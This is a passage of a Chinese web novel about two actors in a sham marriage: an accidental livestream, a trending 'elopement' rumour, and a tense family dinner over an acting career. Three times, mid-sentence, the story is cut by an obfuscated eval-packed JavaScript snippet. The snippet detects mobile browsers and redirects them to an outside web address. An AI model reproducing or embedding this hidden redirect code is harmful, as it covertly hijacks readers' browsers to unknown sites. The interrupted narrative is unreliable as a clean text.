顾听舟磨了磨后槽牙,这段时间太忙了没来得及清算,没想到临时直个播还刚好和这人撞车。 他可还没忘到底是谁害得他非得在退圈和跟易淮江假结婚之间二选一的。 易淮江的手机开了静音,听不见里面的人讲了什么,但看了眼直播账号以及和她站在一起的某位新晋小生,顾听舟心下明了。 这是新剧快开播了,剧方凑齐了男女主直播打算卖卖CP吸引粉丝给新剧做数据呢。 结果没想到被他横插一脚,买数据推流过去的路人被他一场小魔术骗走了大半,直播间里现在就剩下可怜巴巴的几十万人。 活该。 顾听舟轻嗤了一声,从易淮江手里夺过手机,手速飞快地点进剧方的账号主页,一键拉黑,顺便从剧方账号的主页简介把常嘉月的账号也翻了出来,一并拉黑,全都解决完才把手机丢回到了易淮江手里。 易淮江:“……” 顾听舟看他默默无言收起手机,没忍住戳了戳他,低声威胁:“怎么,你有意见?” 天降一口大锅,易淮江当然不可能背:“没有。”他把手机递回去,“不行你换个号继续?” 他是用随手开的乱码小号找到的直播间,顾听舟敢拿着他账号为所欲为也是因为这个,他倒是无所谓拉黑这几个人,反正唯一会在他黑名单里外反复横跳的人正坐在他手边。 顾听舟哼了声,没接,但勉强对这个回答还算满意。 怎么说他和易淮江现在也是一条船上的蚂蚱,不管是帮亲还是帮理,这人都必须站在他这边。 35.私奔闪婚 直播间里新涌进来的观众们显然被上个直播间卖荧幕CP的两位刺激到了,原本只是因为顾听舟的魔术表演被吸引,这下倒是真的因为这两位主人公的对话起了兴趣,说两人炒CP吧,也没有特别腻腻乎乎的工业糖精味,说纯兄弟情吧,谁家兄弟把手机随随便便放另一个人手里随便玩的? 还换着号玩,大小号都给出去了,隐私是真的一点也不在乎了啊? 新来的网友们有不少对两人的认知只停留在都是很火的演员,一个是演电影的一个是演电视剧的,看了半天也没看出两人破天荒的合体是要宣传什么新剧,于是真诚地在弹幕上问了话。 -他们俩感情看起来挺好啊,为什么老有人传他们水火不容啊 -这个世界好玄幻,他俩什么时候认识的? -是有什么新剧吗,我有点懵,他俩为啥坐一块了?这是宾馆还是剧组背景? -有点好嗑,这对可以嗑吗 有粉丝以为他们是谁家买的黑粉故意来引战或者搅混水的,顺着昵称摸去主页看了眼,才发现对方是真的不常上网,对这两位的近况完全不知情。 摸清楚了情况,弹幕自然也友善许多,唯粉们卖力安利,CP粉们更是光明正大。 -嗑!放心嗑!他俩已婚!真夫夫入股不亏! -欢迎加入江舟CP大军,他俩不仅已婚而且已经在WB官宣过,真·持证上岗,今晚还有婚综上线,直接美美嗑糖好吧 -这对走的就是欢喜冤家线吧,看起来互不相让其实对对方都很好,我超爱这种 顾听舟看着弹幕上唰唰飘过的CP粉大军,深觉自己已经没有了用武之地。这群新来的小姑娘们看着口才比他还好,嗑得也很真情实感,介绍起他和易淮江这对“夫夫”时简直比他们自己还要信手拈来。 顾听舟默默在心里想,就算不是为了夏导,就为了这群CP粉们,他和易淮江在营业期间能互动还是多一点互动吧,不然他都觉得有点愧对她们了。 表演完了才艺,顾听舟便彻底接过了和弹幕问答聊天的任务,他和自己粉丝在微博上平时也经常在评论区互动,此刻换成直播问答,他家小纸船们倒是没什么特别的反应,依旧是一边刷弹幕提问一边舔颜,更多的是CP粉和易淮江家的水滴们一边受宠若惊一边暗戳戳地问各种他和易淮江之间的问题。 毕竟娱乐圈里愿意公开领证的夫夫/夫妻本来就不算多,双方都长得好看人气也高,能吸引CP粉的就更少了。 至于易淮江家的那群小水滴们,则纯粹是因为自家艺人太高冷。偏偏易淮江那货演技是真好,虽然颜值可以说和他旗鼓相当,但人家走的是实力派,几座影帝奖杯拿出来直接吊打一众明星艺人,有这个成绩,粉丝们虽然也希望他多多营业,但最终还是选择支持他的事业。 毕竟易淮江科班出身,实力过硬,她们每次和黑子们撕架的时候甩出去的奖项可都是实打实的,营业嘛,少点就少点吧,起码还能在大银幕上看到他的脸,又不是退圈了。 顾听舟看她们热火朝天地一边忙着问问题一边刷礼物一边还腾出空在公屏上追着互相交流,自己也看得眼花缭乱,干脆拿胳膊拐了拐坐在一边沉默是金的易淮江,强行拉着他和自己一块回答问题,积极营业。 一场直播很快就热热闹闹地来到了尾声。 主要是他和观众们热闹,易淮江这货也就和他互怼时话能多不少,平常的时候简直和他行李箱里那只锯嘴葫芦一模一样。 将近一个小时的时间,礼物榜上大大小小的名单列了一长串,顾听舟卡着时间关掉了礼物通道:“好了,不用再送了,剩下的钱大家留着吃点夜宵,刚好顺便可以蹲一蹲我和易淮江新上线的综艺《恋爱百分百》。” 他打开了页面角落处的送礼榜单:“这样吧,因为直播时长有限,所以刚刚没有占用聊天的时间谢谢礼物,趁剩下这一点点时间我把感谢名单念一遍,念完这次直播就算结束了。” 说完,他便拿着手机开始念感谢名单,看到昵称明显是易淮江粉丝或者是两人CP粉的,就抓着易淮江一块念。 发福利嘛,他能做到的那就力所能及多给一点。 名单太长,念了不知道多久,忽然被一道铃声打断,顾听舟循着声音望去,却撞上了易淮江拿着手机忽然冷下来的眉眼。 谁啊这是? 竟然还有比他更让易淮江讨厌的存在? 速冻冰箱的降温速度都没他变脸快。 易淮江垂眸看了眼手机,低声道:“我接个电话。” 顾听舟点点头放他离开,抽空喝了口水,自己把最后几页名单给念完,抬头一看时间,已经九点过五分了,再过二十多分钟,《恋百》的第一期正片就要上线了。 顾听舟也就没再停留,举着手机朝镜头笑着挥了挥手,最后挑了几个简单的问题回答:“今天的直播体验还不错,后续应该还会直播,我尽量拉着某人一起来,不过你们要做好他会继续当锯嘴葫芦的准备。” “直播时间不定吧,如果有安排的话会像这次一样让工作室帮忙发预告,我要是有空就我自己微博发。” “最后帮导演宣传一下新综艺,我和易淮江也是其中的一对嘉宾,大家感兴趣可以去看一看,综艺名叫《恋爱百分百》,今晚九点半会在山竹视频上线正片。” “好了,今天的直播就到此为止,拜拜~” 话音刚落,卧室被关上的门又被再次推开,顾听舟一边点下关闭直播的按键,一边扭头,果然是易淮江。 “结束了?” “你来晚了,我已经把直播关了。” -关了……吗? -不儿舟舟你没关完啊!直播间还在,回来退直播间啊!! -反正都黑屏了,你俩能不能亲一个给我听听 -前面的,我也想听 -好奇后面说的话是我们能听的吗,毕竟这么晚了,直播间不会被封吧 -……不是没有可能,毕竟已婚(黄心) 顾听舟顺手把手机熄屏,看他情绪似乎不太对,不太习惯地戳了戳他:“谁的电话,你现在脸黑得可以去cos包公了。” 易淮江:“……” “我爸。” 那确实心情很不好了,毕竟这些年一见面就吵架,连他这个二十年的死对头都得靠边稍稍,顾听舟忍不住好奇:“这么晚打电话,他说什么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918824|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易淮江回想起电话内容,又忍不住皱了皱眉,顺手按住了他乱戳的手,沉声道:“他们从国外回来了。” “回来就回来了……等等。”顾听舟抬眼看他,眼里满是愕然,“不会是我想的那样吧?” 易淮江看他一脸“你最好告诉我不是”的嫌弃表情,心情不由自主放松了些,点了点头:“就是你想的那样。” -哪样啊!告诉我那样是哪样!我也要听! -你俩考虑一下观众的感受呗,不要谜语人求求了 -虽然但是,我们这算偷听吧,虽然好像也听不懂几个字,易哥你爸咋了?你俩叽里咕噜说啥呢 -朕的皇家翻译呢 -陛下,臣做不到啊,臣也听不懂 -虽然我也很想听,但是威廉人呢!快点给舟舟打电话关直播啊!要出事了!!! 顾听舟浑然不知直播间里的弹幕大军急成了什么样子,只知道易淮江他爸妈提前结束工作回国,还给他打了电话,意味着他俩还得再见一遍家长。 顾听舟忍不住揉了揉自己应景地狂跳了好几下的右眼皮:“还来……你能不能自己去?” “不能。”易淮江拒绝的干脆利落,他垂眸看了眼顾听舟,“这就怂了?” “我怂你大爷,证都领了谁怕谁啊。”顾听舟回怼,怼完又忍不住头疼地嘟囔,“怎么一个两个的都弄得像我们私奔了一样,我爸妈那边才搞定多久,你爸妈又……” “舟舟!” 威廉匆匆忙忙地冲进了卧室,顾听舟下意识收了声,一抬头就看见威廉满脸惊慌失措地示意他别说话。 顾听舟心里预感到有点不妙,但又想不到出了什么事,撩起眼皮看了眼易淮江,这人和他一样的满脸莫名其妙。 威廉动作迅速地锁定了桌上的手机,解锁后在屏幕上飞快地点了几下,这才腿软地扶住了身边的椅子。 “差点没给我跑死,我几百年没跑过这么快了。”威廉气都没喘匀,“你直播没关啊祖宗,你俩没说什么不该说的吧?没有吧?” 顾听舟被他问得一慌,连忙转头看向易淮江,易淮江认真回忆了了一下,朝他摇了摇头。 顾听舟高高悬起的心也跟着平稳落地:“没有没有,最多就是我吐槽了一下我俩爸妈,应该不是什么大问题,都是亲生的。” 威廉上气不接下气地挥了挥手:“这没事,这点小问题就算真有人揪着闹,我随随便便就能给你摆平了。只要没提到假结婚就行。” 他把手机递回到顾听舟手里,心有余悸:“你有空再看看青柠的直播操作流程吧,这太刺激了,再来第二次我就真的要被吓得原地上天了。” 顾听舟接过手机,顺手解了锁屏,见直播已经关了,便顺手点进了微博,刚叉掉广告,就看见主页广场上已经冒出了新词条,再点进热搜榜一看,果然又上热搜了。 “虽然现在刺激你不太好,但是我和易淮江确实上热搜了。” 威廉捂着心口:“你说吧,只要不是假结婚暴露,我都能承受的住。” 顾听舟点开热搜词条,脑门上没忍住冒出几道黑线:“#顾听舟易淮江,私奔闪婚#,现在已经爬到热搜第32位了。” 36.床与地铺 [@白日梦:这热搜什么鬼?他俩不是一个月前就领证了吗?] [@你的小可爱已签收:我不行了谁有今晚直播的录屏啊,这什么奇葩词条,好离谱] [@骑老头过马路:有录屏,指路江舟超话新置顶,私奔请看最后几分钟] [@热心网友121:家长都还没见就私奔了吗,我哭死,怎么感觉是真爱。。。] [@12138:这才几分钟,看图说话都没有怎么爆得比魔术还快?半小时前的魔术热搜也才刚到19,谁买的黑词条??] [@小猪呼噜噜:可能私奔太劲爆了,我就是路过没忍住点进来的。。。//@12138:这才几分钟……] 顾听舟简单看了眼词条下的最新评论,网友们一如既往地对这种劲爆话题无比热衷,不过短短几分钟的时间,已经被抬进了热搜前十。 威廉简单把情况梳理了一遍,便立马联系上了公关部写通稿:“应该是常嘉月那边在搞事情。” “她背后有人,之前的事虽然对她有点影响,但这段时间过去,已经没几个人记得了。今晚刚好是她冷处理那段时间才拍完准备翻身用的新剧宣传,团队应该花了不少钱给她买推广和流量炒CP赚热度,结果被你一场魔术全骗走了。” 威廉简直是与有荣焉,语气里满是不屑:“就这点程度的黑热搜还想跟我斗?” 顾听舟:“所以我俩需要做点什么?我明天能出门吗?” 毕竟文姨和卫叔已经回国了,他就算真不想见,那也是逃得过初一逃不过十五,不如早死早超生。 威廉百忙之中抽空震惊地瞅了他一眼:“你居然怀疑我的战斗力?” 顾听舟:“……”他就多余问。 与此同时,白朝彩也出现在了卧室门口,他没进来,只是在门口喊了一声威廉,威廉手上噼里啪啦的打字,还能抽空应了声。 白朝彩在门口道:“我觉得那个热搜可以不急着压。” 威廉手上的动作顿了顿,看了眼坐着的两位艺人,又结合了一下刚才的直播状况,脑中灵光一闪:“你说得对!” 他当即转身往外走,顺带着把白朝彩也拉走了,边往外赶边交代顾听舟:“舟舟你今晚就先在易老师家再住一晚哈,我和白哥商量一下热搜的事。” “哦对,出门记得戴口罩,有什么事记得给我打电话!” 顾听舟:“?” 就这么把他留在这了? 顾听舟磨了磨后槽牙,看着飘了满地的纸牌,只觉得太阳穴突突乱跳。 起码先帮他把道具收一收再跑啊! 顾听舟无声叹了口气,认命地蹲下收拾起了纸牌。耍帅一时爽,清场火葬场,说的就是现在的他了。 顾听舟越想越忍不住气闷,他的魔术明明很帅吧,怎么就打不过私奔呢? 他低头捡起几张纸牌,没忍住又叹了口气,伸长了手去够桌角处的一张黑桃9,还没等碰到牌面,一只骨节分明的手比他先一步捡了起来。 顾听舟顺着那只手抬头,这才发现易淮江不知道什么时候蹲了下来,手里也已经捡了一摞牌。 他脸色依旧冷淡,一如既往地透着股拒人于千里之外的高冷感,可行动上却又更贴近他最近才熟悉起来的那个勉强能正常交流的易淮江。 顾听舟从他手里接过那叠牌,和自己手上的合成一副后,下意识地洗了洗:“还少三张。” 一副扑克总共52张牌,新牌不适合练手,所以他学魔术那会儿每次练完都会随手数一遍牌数,确保没有缺漏,到了现在也还有这个习惯。 易淮江顿了顿,这才想起来自己口袋里还有他的牌,又摸出来递过去。 顾听舟垂眸看着牌面上的鲜艳亮丽的红色,不自觉想起祝女士和他说过的话,想到了去年他没来的参与的新年……还有他没亲眼看见的易淮江和他爸吵到除夕夜当晚不欢而散的一场大架。 顾听舟抬手抽走了那几张牌,无意见却碰到了易淮江冰凉的指尖,凉得他捏着牌的手都几不可察地颤了颤。 把手里那叠纸牌收拢时,最上面的那张红心A还像个小小的箭头一样,默不作声地引导着他将视线投向站在他对面的易淮江。 气氛一时间安静到有些尴尬。 仿佛这时候他应该再说点什么,可就连顾听舟自己也不清楚他该说些什么,又该以什么样的身份说。 掩饰般飞快地重新洗了牌收好,顾听舟低声说了句:“我先去洗个手。”也不等易淮江回答,便先一步出了卧室。 诡异又陌生的气氛闷得他心跳都好像乱了几拍,看着镜子里的自己,顾听舟缓缓做了个深呼吸。 没有了摄影机的限制和注视,只剩下他们两人面对面的时候,一切仿佛顺理成章般倒回了他和易淮江互相保持距离的时期。 就连易淮江也因为他爸那通电话忽然变得不太正常,又变回了之前那副冷冰冰的锯嘴葫芦模样。 反倒是他不太正常。 他好像开始不适应原本的相处模式了。 顾听舟掬起冷水洗了把脸,冰凉的水珠扑在脸上,又顺着几缕碎发滚落,顺便也把他还乱着的思绪给冰得清醒了点。 “不对。”看着镜子里的自己,顾听舟眯了眯眼睛,眼底升起几分迷惑,“我为什么要跑?” 顾听舟压下心头那点奇怪的错觉,总算在混乱的思绪中找到了一个可以上手解题的突破口。 就他俩这个刚刚才化敌为友,勉强算得上半个能好好说话的普通朋友状态,眼见着刚破的冰似乎又要冻回去了,他不适应才是对的吧? 毕竟这一周的拍摄时间相处下来,也没有他想象中那么度日如年,以他俩目前不可避免的合作关系,可不就是多一个敌人不如多一个朋友吗。 所以他为什么要破门而出把自己关进浴室里,搞得好像他有什么不可告人的秘密一样。 现在悲惨可怜不想被别人揭伤疤的难道不应该是易淮江吗? 顾听舟捋了把额前沾着水的碎发,缓缓直起身,眼底也多了几分理直气壮。 本来就是威廉来不及把他一块带走,他只能留下和易淮江再待一晚。而现在,作为临时房东和勉强可以算数的半个朋友,易淮江因为和他爸的事被打回原形,他是不是也该简单表达一下作为朋友的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921145|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心? 捋顺了逻辑后再回到卧室时,顾听舟心里显然已经做足了心理准备。 不就是和文姨还有卫叔见一面么,以他和易淮江的演技,连他的爸妈都能骗过去,还能怕易淮江的爸妈? 至于易淮江,虽然不太清楚他和他爸是为了什么吵得那么惊天动地的,但毕竟他俩现在是一条船上的蚂蚱,他总要关心一下队友,稳定军心吧。 不然要是易淮江真因为他爸消沉摆烂,无心演戏了,那他的离婚证可就真的只能等合同到期了。 顾听舟推开卧室虚掩着的房门,却发现易淮江并不在房间里,再定睛一看,这人趁他洗个手的工夫,都已经把地铺都打好了。 顾听舟:? 他就非得睡这个地铺不可吗? 顾听舟路过时没忍住偷偷踹了一脚已经打理好的地铺,趁着易淮江还没回来,把那床被子直接抱上了床摊开,揣着手机先钻进了被子里。 他严谨地只占据了靠门的半边床,随后便一边刷手机一边等某个睡了还不认账的黑心房东。 易淮江回到卧室时,看到的就是他躺在床上翘着腿刷手机的滋润模样。 没等易淮江开口,躺在床上的顾听舟却先一步看见了他,当即盘腿坐了起来,手机也倒扣在了枕头上,见他视线从床上落到已经被他拆了的地铺上,当即哼了声:“别看了,我拆都拆了。” 易淮江走到床前站定,默了两秒:“……你真的要和我一起睡?” “又不是没睡过。”顾听舟不满地嘟囔了句,“反正今天这床我是睡定了,你别想赶我下去。” 易淮江:“……” 易淮江:“本来也不是给你睡的,抢我被子还这么理直气壮。” 顾听舟顿了下:“不是给我睡的?” “你要是喜欢那我没意见。”易淮江比了个请的手势。 “屁。” 谁会有床不睡非要睡地板,又不是傻子。 顾听舟在心底默默腹诽了一句,然后就看着易淮江从自己面前绕到床的另一边,弯腰开始收被子。 很好,他就知道易淮江这脑子指定是有点问题。 顾听舟磨了磨后槽牙,抬手按在了那床被子上,微微仰头看着面前的人,琉璃似的眼微微眯起,带着几分显而易见的压迫感:“易淮江,你有问题。” 看易淮江不吭声,顾听舟愈发坚定了自己的猜想:“你爸又找你了?” 易淮江却反问他:“为什么这么说?” 顾听舟好笑道:“白哥和威廉在一块斗热搜根本没时间管你,你洗完了澡打好了地铺不睡觉,反而跑去外面晃了半个多小时?” “直播的时候你和你爸的电话才打了几分钟,他俩马上就要回国了,能不先在电话里把我们结婚的事盘问一遍?是你不了解你爸妈还是我不了解文姨和卫叔?他俩做风投这么多年养出来的职业病,怎么可能在见面前完全不探我们的口风?” “没给我打估计是文姨已经联系过祝女士了,至于你……”顾听舟顿了顿,“我们结婚的事明天还要当面谈,应该不至于聊半个多小时。你是顺便和你爸又吵了一架?” 37.对赌协议 易淮江:“……” 这态度基本就是默认了,顾听舟更不解了,干脆把那团被子从他手里抢了过来:“你别告诉我你吵个架能把脑子也吵坏掉。” “反正节目上都睡了那么久了,也不差这一天。”顾听舟见他还是不说话,也懒得再刨根问底,“你就算今天不睡,等过段时间上节目了还不是又得躺一张床上。” 两人僵持了一会儿,最终还是易淮江拗不过他,率先放弃了抵抗。 地铺被收回衣柜里,关了灯,两人各自盖着一床被子,躺在了同一张床上。 顾听舟依旧是背对着他躺下的姿势,易淮江把手伸过去,盖在了他的眼睛上,过了好一会儿才开口:“你竟然没躲?” 能躲他早躲了好吧,只不过黑漆漆的深夜确实不适合他发挥。 心里腹诽,顾听舟嘴上却硬得很:“躲什么,我要是睡不好了,明天还怎么去见文姨和卫叔。” 他打了个哈欠,懒洋洋把话说完:“想想都知道是一场硬仗,我需要养精蓄锐。” 易淮江顿了顿,低声道:“明天你不用去。” 顾听舟:“?!” “我不用去?”顾听舟先是下意识松了口气,但紧接着又忍不住皱起了眉,“为什么,他们提前回国不就是因为我们结婚的事?” “你不是说不想去?” 顾听舟无语地翻了两个白眼:“这是我想不去就不去的么?”说完,他忽然停顿了下,似是想起了什么般不确定地试探道,“……你不会是因为我才又和你爸吵了一架吧?你有这么好心?” “想多了。”易淮江的掌心被他忽扇的睫毛蹭得有些痒,指尖微微蜷了下,语气平淡地否认了他的猜测。 那就好那就好。 顾听舟微微悬起的心总算放了下来。本来易淮江和他爸的情况就不太乐观,要是因为他再火上浇油,他就真的对不起文姨,也没法跟祝女士交代了。 “不过这借口确实不错。”易淮江垂眸,察觉他似乎还想问什么,先一步开口结束了这个话题,“睡觉。” * 得益于在《恋百》上临时培养出来的生物钟,顾听舟混乱的睡眠质量竟然让他在休息日也成功在日上三竿前起了床,在厨房里找到易淮江留下的早餐,刚吃完便看见易淮江已经收拾整齐打算出门了。 顾听舟喝了口牛奶,趁他还没出门,不太确定地又问了一遍:“真不用我去啊?” “不用。”易淮江看了他一眼,“盘子和杯子记得放洗碗机。” 他顿了顿,不太确定道:“你会用吧?” 顾听舟无语:“你赶紧走赶紧走,等你走了我立马用洗碗机把你家炸了。” 易淮江点点头:“那我们估计能直接屠榜热搜前十,创下微博史无前例的热搜里程碑。我不仅多赚个热搜,你还得赔我钱。” “那还是做梦比较快,我必不可能给你赔钱。”顾听舟不屑地嘁了声,然后才慢半拍德反应了过来,“等一下,什么叫屠榜热搜前……十?” “你手机呢?” “昨晚忘了充电,早上起来就成板砖了。”顾听舟伸手,“你的先借我看眼?” 易淮江把手机指纹解锁后递给他,顾听舟一接过就点开了微博热搜。看着几乎大半页都和自己有关的热搜词条,顾听舟却半点也笑不出来。 草。 这个私奔怎么还跑热一去了? 威廉不是说会帮他解决么? 热搜不仅没少,还比昨晚多了两条直播有关的热搜。两条都带了“江舟”的tag,一看就是CP粉们嗑上去的。 易淮江还看热闹不嫌事大地在一旁补充:“白哥和威廉昨晚商量了之后,决定珍惜对面送来的热搜,我们俩私奔的事现在可以说是全网皆知了。” 顾听舟:“……” 你还挺幸灾乐祸的? 说得好像故事另一个男主角不是你一样。 易淮江继续道:“不过现在的主流风向是,我和你是真爱,为了不被双方父母拆散,于是在同性可婚政策出来后直接闪婚领证顺便全网官宣,来了招先斩后奏……” “停!”顾听舟抬手制止了他继续用那张冰块脸说这些听起来就很魔幻的鬼故事,“《恋百》又是怎么回事?四个热搜?节目组买的?” “节目组只买了词条,三组嘉宾一组一个,综艺单独一个。结果昨晚直播之后紧接着第一期正片上线……” “然后热心网友们就顺手把这四个词条也送上去了是吧?” 顾听舟看得头都大了,退出微博准备把手机还回去,却不知道什么时候碰到了屏幕,没来得及退出的微信聊天界面瞬时跳了出来。 尽管只是一眨眼的功夫,顾听舟还是瞟到了点内容。应该是易淮江和他爸妈的聊天记录,最新一条是靠近机场的一家私房菜的地址。 顾听舟摸了摸鼻尖:“那个,我去放盘子。” 易淮江似是没发现,点了点头把手机收回口袋,临走前又交代了句让他记得把玩偶都带走,这才关门离开。 顾听舟回到卧室打开手机,果不其然是一串来自威廉的未读消息,还有好几个未接电话。 主要是给他解释了下几个热搜的内容,顺便还汇报了常嘉月的情况。 她直播间的观众被他吸引走后,热度完全够不上原本买好的热搜,为了转移注意力不被群嘲,于是特意买的黑热搜准备再次拿他顶锅,结果威廉直接把黑热搜洗成了真爱,常嘉月一波操作不仅半点热度没涨,原本给自己准备的热搜还被他们挤出了榜。 顾听舟想了想,给威廉回了消息,让他找个时间联系青柠直播的人。既然他已经签在了青柠平台,某些人也没必要浪费他的黑名单位置。 不过提到黑名单,顾听舟不可避免地想起了某位黑名单常驻户口。 易淮江现在估计已经在去接他爸妈的路上了。 顾听舟翻了几遍微博,密密麻麻的文字和花里胡哨的图片半点也没看进去,反而脑子里忍不住回忆起他带着易淮江回家的时候祝女士和他说的话。 结婚的事连祝女士和老顾都冷了脸,易淮江和他爸除夕夜还能吵得那么凶,再加上他们结婚的事,只会吵得更厉害吧? 顾听舟的手指漫无目的在屏幕上划了几下,他真让易淮江一个人面对,是不是有点不够义气? 不管他们昨晚是怎么吵起来的,导火索也是他和易淮江结婚。于情于理,好像都不大适合让易淮江一个人去面对长辈的怒火。 毕竟当初他们关系那么差的时候,易淮江也没让他一个人面对祝女士和老顾…… 看了眼已经过半的电量,顾听舟没再犹豫,换了身衣服戴上口罩,动作飞快地也出了门。 怎么说他和易淮江也是名义上的夫夫,易淮江爸妈回来了他却没去接,万一祝女士问起来,他也不好交代,毕竟祝女士和文姨关系那么好。 顾听舟走进私房菜馆时,刚好看见易淮江一行人在服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933273|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务生的带路下往里走。顾听舟拽了拽口罩,又往下压了压帽檐,等他们走过拐角,这才跟了上去,在他们包房的隔壁坐了下来。 这家私房菜的装潢极其雅致,包房的入口处掩着一层绣工精巧的绸帘,包房与包房之间则由雕刻精美的木架作为隔档阻拦视线。 正常的谈话基本是没法听见,但吵架是绝对挡不住的。这要是被他听见了,也不能算他偷听是不是。 隔壁包房。 点完菜,服务员拿着菜单离开后,卫向明冷冷瞥了眼自己儿子:“我以为这么长时间不见,你能有所长进。” 易淮江:“……” 卫向明见他不说话,语气愈发冷了:“说过多少遍,三思而后行,你总是这样想一出是一出,后悔只是时间问题。” 听墙角的顾听舟挑了挑眉,这是在说易淮江? 易淮江想一出是一出? 要不是他认识易淮江快二十年,他差点就真信了。这世界上还能有比易淮江更像机器的人? 这人读书时雷打不动的五点半起,12点睡,除了和他抬杠和互相找茬以外,每天除了学习还是学习,哪怕现在工作了也还是每天早上七点半早起锻炼,晚上11点准时睡觉的狠人,自律到令人发指,手机电池的续航时间都没他长。 这叫想一出是一出? 那他这种三分钟热度的算什么? 卫向明:“你们结婚的事,祝玉和远博和我们聊过,但我并不看好你们的婚姻……” 这倒是没看错……结婚的事,顾听舟确实无话可说,毕竟他俩本来就不是真结婚,早晚是要离的。 卫向明:“我以为这些年你会从当初的错误中吸取教训,却没想到你这么执迷不悟。” “真是太让我失望了。” 易淮江还犯过错? 顾听舟专注地竖起了耳朵,不对啊,易淮江要是犯过错,他能不知道? 正困惑着,易淮江终于冷声开了口:“这只是你以为,与我无关。” 顾听舟暗暗在心底啧了声,易淮江这张嘴真的是,逮到谁毒死谁。 果不其然,下一秒就听见隔壁传来一道低斥声:“你就是这么和父母说话的?” 紧接着响起了另一道熟悉的声音,语气轻柔,却明显带着几分无奈和不赞同:“淮江,你爸他也是为了你好。” 卫向明语气愈发冷硬:“我以为?我们给你铺的路有什么问题,读金融,实习到毕业前跟我们去国外投行交流学习,毕业后直接进VC,有什么不好?” 易淮江的语气愈发冷淡:“别把你的意志强加在我身上。” 卫向明:“你所谓的热爱就是当演员?喜欢有什么用,你能演一辈子?我们给你选的才是最好的路。” 有轻微的椅子挪动声,易淮江好像站了起来:“对赌协议到期前,没必要说这些废话。” 顾听舟眉头一皱,什么对赌协议? 还没等他细想,就听见卫向明再次叫住了易淮江,语气似乎也冷静了下来,但话语间却透着明晃晃的不屑:“是,你这些年确实做出过那么点成绩,但我们的对赌协议写得很明白,明年夏天之前,你要是拿不齐三大影帝奖杯,就必须回来听从我们的安排。” “我了解过你们那些评奖的标准,以你的能力,想要在明年最后一次评选上拿下最后一座奖杯,基本是不可能的。” “趁早放弃你那些幼稚的热爱,我或许可以不计较你之前浪费的时间。” 38.异国婚姻 所以……易淮江是真的喜欢演员这个职业? 为了当演员还和他爸签了对赌协议? 卫向明的语气听着平和,可字字句句无一不在表达他对易淮江做法的不认同。 仅一墙之隔的顾听舟此刻却被他所说的内容震住了,一字一句消化得颇为艰难。 顾听舟知道易淮江高考后去了华戏,也知道卫向明一直不同意易淮江演戏,但他一直以为易淮江是迟来的叛逆期到了,为了气文姨和卫向明一年到头不回家、不管他,才故意和他们对着干报了华戏。 毕竟在那之前,易淮江从来没表现出过对演戏感兴趣的样子,又或者说,除了读书和跟他抬杠,似乎就没有其他什么是能让易淮江感兴趣的。 可如果他是真的喜欢演员这个职业…… 顾听舟垂眸看着木雕柜上某个不知道什么时候被撞破了的边角,直到此刻才终于明白易淮江为什么会答应白朝彩和威廉那离谱的假结婚计划。 这或许是他最后的机会了。 金木奖作为三大金奖中最难拿、也最具含金量的奖项,在众多电影人中,只有夏秋风是唯一一位成功复刻了往日辉煌,两度带领着不同的团队和演员拿下了金木奖奖项的导演。 恰巧在对赌协议到期前,夏导的手上有了一份适合金木奖的新剧本,易淮江作为他近些年合作最合拍的演员,也成功争取到了男主的角色。 唯一美中不足的只有他一片空白的感情经历。 如果白朝彩当初约见的是其他人,易淮江还真不一定会对这个离谱的曲线救国计划妥协。 但偏偏,在易淮江遵纪守法的道德秩序之外,白朝彩为他约见的假结婚对象是他这个明仇二十年的死对头。 而他顾听舟,竟然也就这么稀里糊涂地成了别人追求梦想道路上不可或缺的条件之一。 顾听舟垂着眸,无意识地抬手摸了摸耳垂,指尖轻轻触碰到嵌着细钻的两枚耳钉,纷杂的思绪也随着冰凉的触感缓缓冷却。 可随着惊讶的情绪褪去,随着血液涌上大脑的却是冲动。 就像他所说的,他才是那个三分钟热度的人。钢琴、吉他、魔术、射击……他的兴趣爱好广泛到一时半会儿说不清,可却始终没有能让他的沉下心为之努力的目标。 易淮江成为演员是因为喜欢,因为热爱。 而他则是因为对继承家业没兴趣,试图靠演戏体验不同生活,以此寻找人生目标。 两厢对比,卫向明看似语重心长的话语反而变得更加刺耳。 如果易淮江这样都能算作对自己不负责任、想一出是一出的话,那他的情况岂不是比易淮江还差上百倍千倍? 顾听舟嗤笑了一声,摩挲着耳钉的手指也微微收紧。 如果按照自己想要的方式生活都能被称作“犯错”,那么强行把自己的意志套在别人身上难道不更应该受到惩罚? 在卫向明再一次开口前,顾听舟直接一把扯开了隔壁包房的门帘。 